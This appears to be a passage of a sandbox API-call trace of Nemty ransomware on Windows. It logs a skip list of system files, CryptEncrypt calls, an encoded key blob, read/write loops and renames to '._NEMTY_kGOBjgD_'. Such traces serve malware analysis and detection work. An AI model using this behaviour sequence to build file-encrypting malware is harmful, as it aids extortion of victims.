RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0110.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png._nemty_kgobjgd_")) returned 0 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0110.667] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2=".") returned 1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="..") returned 1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="...") returned 1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="windows") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="$RECYCLE.BIN") returned 1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="rsa") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="NTDETECT.COM") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="ntldr") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="MSDOS.SYS") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="IO.SYS") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="boot.ini") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="boot.ini") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="ntuser.dat") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="desktop.ini") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="CONFIG.SYS") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="RECYCLER") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="BOOTSECT.BAK") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="bootmgr") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="programdata") returned -1 [0110.667] lstrcmpiW (lpString1="bNext.png", lpString2="appdata") returned 1 [0110.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0110.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext.png", lpUsedDefaultChar=0x0) returned 9 [0110.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0110.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext.png", lpUsedDefaultChar=0x0) returned 9 [0110.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0110.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext.png", lpUsedDefaultChar=0x0) returned 9 [0110.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0110.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext.png", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext.png", lpUsedDefaultChar=0x0) returned 9 [0110.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0110.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0110.668] Sleep (dwMilliseconds=0x5) [0110.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf59e0050, dwHighDateTime=0x1d561e7)) [0110.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf59e0050, dwHighDateTime=0x1d561e7)) [0110.680] GetLastError () returned 0x5 [0110.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.680] GetLastError () returned 0x5 [0110.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.680] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0110.681] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="q9rVJojjTfr08QAomCZ66aRIIlk0er8UWCwMr8/ZqdP/c/UtFHrAKp3f04UOavrP\r\nT0td/q0KPHedTLkgtv90gkI1Pjd6dj163RPoRcjtKeGEbo7lim4vhb8KAjIVtHk1\r\nTiSKprmBnPOWlhryZzuTQxNylKAW4PYiwVLWf9IcoEIiltV1mqe8C8F8dnTxkcHT\r\nsz+8HXBU5Jv28E1aJ5CvXmE9uYSZopvVKaGbMSBwGlRnxTtxii1O8h6rbI59hbjT\r\n6WU4MQsQGka2OvEMKCbzJjRqNyYBRBzYAENoydhrnpVKtTeN1bEMo447KqMA/0nP\r\nfFXDCqVoP2ionnph2P08Dw==\r\n", pcchString=0x653e91c) returned 1 [0110.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0110.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.681] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.681] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.835] CloseHandle (hObject=0xffffffff) returned 0 [0110.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0110.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0110.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0110.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0110.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext.png._nemty_kgobjgd_")) returned 0 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.836] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824845cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824845cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bPrev-disable.png", cAlternateFileName="")) returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2=".") returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="..") returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="...") returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="windows") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="$RECYCLE.BIN") returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="rsa") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="NTDETECT.COM") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="ntldr") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="MSDOS.SYS") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="IO.SYS") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="boot.ini") returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="boot.ini") returned 1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.836] 